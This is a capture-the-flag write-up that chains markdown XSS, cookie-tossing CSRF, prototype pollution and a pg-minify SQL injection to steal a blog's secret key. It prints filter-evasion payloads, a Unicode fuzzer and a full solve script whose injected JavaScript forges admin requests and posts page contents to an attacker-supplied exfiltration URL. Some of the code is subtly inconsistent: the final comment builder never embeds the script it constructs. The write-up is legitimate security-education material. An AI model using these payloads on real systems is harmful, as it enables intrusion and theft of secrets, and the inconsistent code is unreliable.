#Challenge Overview
The whole challenge consists of a blog, its admin service, an admin bot, and a flag service.
- The admin bot will use three default posts to initialize the blog, and then check new comments every 5 seconds.
- The blog uses fastify for the HTTP server, pg-promise to communicate with its PostgreSQL database, handlebars to render frontend HTML templates, and SQL templates which will be executed on every server restart.
- The admin service allows the admin to update site information and restart the server when configurations are updated to apply new configurations.
- The flag service accepts the correct secret key stored in environment variables and the PostgreSQL database, and gives you the final flag.
#Vulnerabilities
The attack chain: XSS → cookie tossing CSRF → prototype pollution → pg-minify SQL injection → secret key exfiltration → flag.
#Stage 1: XSS through self-completion of markdown converter
After auditing the code related to comments, there are no CSPs or sanitizers, so all we need to do is to bypass app/src/helpers/markdown.mjs.
content = content.replace(/\n/g, "");
content = content.replace(/[<>&]/g, (char) => `&#${char.charCodeAt(0)};`);
content = content.replace(/[^\x00-\x7F]/ug, (char) => `&#${char.codePointAt(0)};`);
content = content.replace(/(?<!\w)"(?=\w)/g, "“");
content = content.replace(/"/g, "”");
content = content.replace(/(?<!\w)'(?=\w)/g, "‘");
content = content.replace(/'/g, "’");
//...
content = content.replace(/!\[([^\]]*)\]\((https?:\/\/[a-zA-Z0-9.-]+(?::\d+)?\/[^)]+)\)/g, (match, alt, url) => {
try {
const parsedUrl = new URL(url);
return `<img src="${parsedUrl.href}" alt="${alt}">`;
} catch { return match; }
});
content = content.replace(/\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9.-]+(?::\d+)?\/[^)]+)\)/g, (match, text, url) => {
try {
const parsedUrl = new URL(url);
return `<a href="${parsedUrl.href}">${text}</a>`;
} catch { return match; }
});
This custom-implemented markdown converter strictly escapes the special characters of the original input, but the parsing of the image syntax does not handle the alt content specially. This causes [text](url) within the alt to be secondarily parsed by the subsequent link regex. We can exploit this to allow the payload to escape the alt quotes:
](http://foo/onerror=globalThis.pwned=1//)
Produces:
<img src="http://foo.bar/baz" alt="x<a href="http://foo/onerror=globalThis.pwned=1//">x</a>">
When parsed by the browser, this is equivalent to:
<img src="http://foo.bar/baz" alt="x<a href=" http: foo onerror="globalThis.pwned=1//"">
However, the XSS that can be achieved this way is very limited: the href field is URL-encoded, so quotes cannot be used; parentheses cannot be used either (they would interfere with the regex matching).
The solution is to use the classic window.onerror + throw trick. In an event handler attribute, the element itself is in the scope chain, so this.alt can reference the full content of the alt attribute, moving the payload into the relatively loosely filtered alt field:
](http://h/onerror=window.onerror=eval;throw/**/this.alt//)
Additionally, the bot checks whether the comment contains the string cat (“Thanks for not talking about cats”), so all string literals in the payload must be encoded using String.fromCharCode() / String.fromCodePoint(), including /categories/ in regular expressions which needs to be constructed with new RegExp(fromCharCode(...)).
#Stage 2: Cookie tossing to bypass CSRF token
After achieving XSS, we want to further hit the admin’s /configure via CSRF. app/src/admin.mjs implements a CSRF token system to defend against CSRF:
const csrfSecret = request.cookies._csrf;
const bodyCsrfToken = request.body?.csrfToken;
const [csrfSalt, csrfHash] = bodyCsrfToken.split(";");
const hash = createHash("sha256").update(csrfSalt + ":" + csrfSecret).digest();
if (!timingSafeEqual(Buffer.from(csrfHash, "hex"), hash)) {
reply.status(403).send({ error: "Invalid CSRF token" });
return;
}
The hash validation formula is sha256(salt + ":" + csrfSecret). As long as the secret is controllable, we can pre-calculate a valid token.
Since the XSS runs on localhost:8080 (blog) and the admin is on localhost:8081 (same origin, different port), we can set a cookie with a more specific path via cookie tossing to overwrite the _csrf set by the admin:
document.cookie = "_csrf=x; Path=/configure; SameSite=Lax";
When the browser requests /configure, it will prioritize sending the Path=/configure cookie (more specific paths take precedence). @fastify/cookie uses cookie.parse() for parsing, which takes the first value when there are duplicate keys. Since the browser places the more-specific-path cookie first, the _csrf received by the admin is our set value x.
Pre-calculated token: sha256("s" + ":" + "x") = b9cc050815a801453cedfac2053ecbcf8b89b2bde28ec9768ad6a5d6c1844834, the full token is s;b9cc050815a801453cedfac2053ecbcf8b89b2bde28ec9768ad6a5d6c1844834.
The cross-port fetch uses mode: "no-cors" + credentials: "include" to send. Although the response cannot be read, the POST request will be processed normally.
#Stage 3: Prototype pollution + pg-minify SQL injection
The code building the navigation tree in app/src/helpers/configure.mjs:
const navTree = {};
for (const category of categories) {
if (!category.inNav) continue;
const dividerIndex = category.name.indexOf("/");
if (dividerIndex !== -1) {
const superCategory = category.name.slice(0, dividerIndex).trim();
const subCategory = category.name.slice(dividerIndex + 1).trim();
navTree[superCategory] ??= {};
navTree[superCategory][subCategory] = [];
} else {
navTree[category.name] = [];
}
}
A category name starting with * means inNav=true, and / in the name is used as a separator. When we submit *__proto__/foo:
navTree["__proto__"]["foo"] = [];
This directly sets Object.prototype.foo to [], achieving prototype pollution.
I had Codex find almost all prototype pollution sinks that could affect the SQL parsing process / potentially lead to arbitrary JS execution. The pollution of Object.prototype.minify caught my attention. The main features of pg-minify include: removing multi-line and single-line SQL comments, concatenating multi-line strings into a single line, fixing multi-line text, eliminating redundant spaces and line breaks, and basic SQL parsing and error detection, which can affect the final executed SQL content.
pg-promise’s QueryFile reads options.minify upon creation. Since the assert-options library only assigns from defaults when options[key] === undefined, and after pollution options.minify is [] (truthy), the minify branch is triggered:
// pg-promise/lib/query-file.js
if (options.minify && options.minify !== 'after') {
i.sql = npm.minify(i.sql, {compress: options.compress});
}
The PostgreSQL in the challenge version defaults to standard_conforming_strings = on, which means \ does not act as an escape character in normal strings. 'a\'' represents the string a\ followed by an empty string.
However, parser.js in pg-minify treats \' as an escaped quote (i.e., a single quote inside the string), leading to inconsistent string boundary parsing.
Exploiting this difference, we construct the following SQL snippet:
(0, 'a\''--x'),
(1, ')<PAYLOAD>--x'),
(2, 'z')
Under PostgreSQL parsing, 'a\'' = string a\' (\ is a normal character, '' is an escaped single quote), and then --x is a line comment.
Conversely, pg-minify’s parser.js considers 'a\'' as a complete string (\' is an escaped quote, and the second ' ends the string), and then --x'),\n(1, ' is treated as a line comment, and subsequent content is removed.
This causes the content of the second category to “escape” from the comment after minification, becoming executable SQL (0, 'a\''(1, ')<PAYLOAD>--x'),(2, 'z'). Within this, 'a\''(1, ' is parsed as a single character, allowing us to close the parenthesis with ) in the payload, while --x in the payload is parsed as text within the string by the minify parser and retained. During actual execution, when compressed into a single line, everything after --x will be ignored by the comment.
#Stage 4: slugify bypass without ‘g’ flag and SQL payload construction
The string that ultimately enters the SQL template is processed by the slugify and sqlString helpers:
handlebars.registerHelper("slugify", function (str) {
const slug = slugify(str.replace(/\//g, " "), { lower: true, remove: /[^\w\s]/ });
return slug;
});
handlebars.registerHelper("sqlString", function (str) {
return `'${str}'`.replace(/'/g, "''").slice(1, -1);
});
We found that slugify’s remove: /[^\w\s]/ does not have the g flag when passed in. In the reduce function, for the anyascii output of each character, only the first non-word/space character is removed. Taking advantage of the fact that anyascii maps some unicode characters to multi-character outputs, we can make special characters “survive”.
We can fuzz the available characters:
import anyascii from "any-ascii";
import { slugify } from "./src/helpers/slugify.mjs";
const removeRegex = /[^\w\s]/;
const sqlChars = ["'", ";", "$", "-", "(", ")", "|", "\\", "#", "*", '"', "/"];
console.log("=== Characters surviving per-char remove (no g flag) ===");
for (const target of sqlChars) {
const results = [];
for (let cp = 0x0080; cp < 0x10000; cp++) {
const char = String.fromCodePoint(cp);
const ascii = anyascii(char);
if (ascii.length > 1) {
const afterRemove = ascii.replace(removeRegex, "");
if (afterRemove.includes(target)) {
results.push({ cp: cp.toString(16), char, ascii, afterRemove });
}
}
}
if (results.length > 0) {
console.log(`\n'${target}' survives (${results.length} chars):`);
for (const r of results.slice(0, 5)) {
console.log(` U+${r.cp.padStart(4, '0')} -> "${r.ascii}" -> "${r.afterRemove}"`);
}
}
}
Since sluggify will ultimately collapse consecutive - and then convert \s+ to -, we can use unicode to create a - plus a space to construct --.
Next, we chose archive.sql.chbs to construct the final SQL payload. This is the only template where we can actively control the query and read the output from the frontend. As we can see, our injection point is inside VALUES.
'highlights', (
WITH top_categories AS (
VALUES
{{#each topCategories}}
({{ @index }}, {{{ sqlString (slugify name) }}}){{#unless @last}},{{/unless}}
{{/each}}
)
SELECT jsonb_agg(jsonb_build_object(
'slug', slug,
'name', name,
'posts', COALESCE(
(
SELECT jsonb_agg(post)
FROM (
SELECT
jsonb_build_object(
'id', posts.id,
'title', title,
'created_at', created_at
) as post
FROM posts
WHERE EXISTS (
SELECT 1
FROM post_categories
WHERE post_categories.post = posts.id
AND post_categories.category = categories.slug
)
ORDER BY posts.created_at DESC
LIMIT 3
)
),
'[]'::jsonb
)
))
We constructed the following payload:
function chrExpr(s) {
return [...s].map(ch => `chr(${ch.codePointAt(0)})`).join("||")
}
const statQuery = "select quote_literal(secret_key)::tsvector from secret_key";
const secretWord = `((ts_stat(${chrExpr(statQuery)})).word)`;
const jsonPrefix = `[{"slug":"x","name":"`;
const jsonSuffix = `","posts":[]}]`;
const sqlPayload =
`))select((${chrExpr(jsonPrefix)}||${secretWord}||${chrExpr(jsonSuffix)})::jsonb)))posts--x`;
Two categories are used here:
The slug of the first category is a\'--x, which becomes 'a\''--x' after sqlString. This triggers the pg-minify parsing discrepancy described above, allowing subsequent content to escape the comment.
The slug of the second category contains the actual SQL injection payload, using ts_stat + chr() to avoid string literals (bypassing the bot’s cat detection).
Finally, the results need to be wrapped in a JSON format that the frontend template expects, so it can be echoed in the category list on the homepage.
#Stage 5: Get Flag
Finally, write the complete exploit, request the homepage immediately after writing the SQL and polluting the minify, exfiltrate the leaked secretkey using a webhook, and then you can get the flag at the flag service.
function chrExpr(s) {
return [...s].map(ch => `chr(${ch.codePointAt(0)})`).join("||")
}
const punctuationMap = {
"\\": "⳹",
"'": "ʺ",
"(": "⸨",
")": "⸩",
".": "࠲",
":": "࠴",
"|": "‖",
"{": "⧚",
"}": "⧛",
"[": "⎶",
"]": "ʭ",
"+": "‡",
"=": "≅",
"<": "«",
">": "»",
"@": "᭾",
"!": "‼",
"?": "‽",
"*": "ᕯ",
"`": "˵",
"~": "῁",
}
function rawForSlug(finalSlug) {
let raw = "";
for (let i = 0; i < finalSlug.length; i++) {
const ch = finalSlug[i];
if (ch === "-" && finalSlug[i + 1] === "-") {
raw += "⸻ ";
i++;
continue;
}
if (/[a-z0-9_]/.test(ch)) raw += ch;
else if (punctuationMap[ch]) raw += punctuationMap[ch];
else throw new Error(`No slug mapping for ${JSON.stringify(ch)}`);
}
return raw;
}
function jsStringCall(name, s) {
return `${name}(${[...s].map(ch => ch.codePointAt(0)).join(",")})`;
}
function buildComment(exfilUrl) {
const statQuery = "select quote_literal(secret_key)::tsvector from secret_key";
const secretWord = `((ts_stat(${chrExpr(statQuery)})).word)`;
const jsonPrefix = `[{"slug":"x","name":"`;
const jsonSuffix = `","posts":[]}]`;
const sqlPayload =
`))select((${chrExpr(jsonPrefix)}||${secretWord}||${chrExpr(jsonSuffix)})::jsonb)))posts--x`;
const firstSlug = "a\\\'--x";
const categories = [
`*${rawForSlug(firstSlug)}`,
`*${rawForSlug(sqlPayload)}`,
"*z",
"*__proto__/minify",
].join(",");
const u = (s) => jsStringCall("u", s);
const p = (s) => jsStringCall("p", s);
const csrfToken = "s;b9cc050815a801453cedfac2053ecbcf8b89b2bde28ec9768ad6a5d6c1844834";
const FLAG = "http://localhost:1337/submit";
const js = `(async()=>{` +
`c=String.fromCharCode;` +
`p=String.fromCodePoint;` +
`u=(...a)=>c(...a);` +
`l=Reflect.get(self,${u("location")});` +
`if(l.hostname!==${u("localhost")}){` +
`l.href=${u("http://localhost:8080")}+l.pathname;return` +
`}` +
`document.cookie=${u("_csrf=x; Path=/configure; SameSite=Lax")};` +
`b=new URLSearchParams;` +
`b.append(${u("csrfToken")},${u(csrfToken)});` +
`b.append(${u("title")},${u("x")});` +
`b.append(${u("theme")},${u("raven")});` +
`b.append(${u("categories")},${p(categories)});` +
`b.append(${u("inNavPosts")},u());` +
`await fetch(${u("http://localhost:8081/configure")},{method:${u("POST")},mode:${u("no-cors")},credentials:${u("include")},body:b});` +
`r=await fetch(${u("/")});` +
`t=await r.text();` +
`await fetch(${u(exfilUrl)},{method:${u("POST")},mode:${u("no-cors")},body:t});` +
`m=t.match(new RegExp(${u("/categories/x.>([^<]+)")}));` +
`await fetch(${u(exfilUrl)},{method:${u("POST")},mode:${u("no-cors")},body:m.at(1)});` +
`})()`;
const comment = `](http://h/onerror=window.onerror=eval;throw/**/this.alt//)`;
if (comment.includes("cat") || /["'\x60]/.test(comment))
throw new Error("Payload contains blocked characters");
return comment;
}
const [baseUrl, exfilUrl, postId = "1"] = process.argv.slice(2);
if (!baseUrl || !exfilUrl) {
console.error("Usage: node solve.js <blog-url> <exfil-url> [post-id]");
process.exit(1);
}
(async () => {
const comment = buildComment(exfilUrl);
const endpoint = new URL(`/post/${postId}/comments`, baseUrl);
const body = new URLSearchParams({ author: "x", content: comment });
const response = await fetch(endpoint, {
method: "POST",
headers: { "content-type": "application/x-www-form-urlencoded" },
body,
redirect: "manual",
});
console.log(`Submitted ${comment.length} byte comment to ${endpoint}`);
console.log(`HTTP ${response.status} ${response.headers.get("location") ?? ""}`.trim());
})();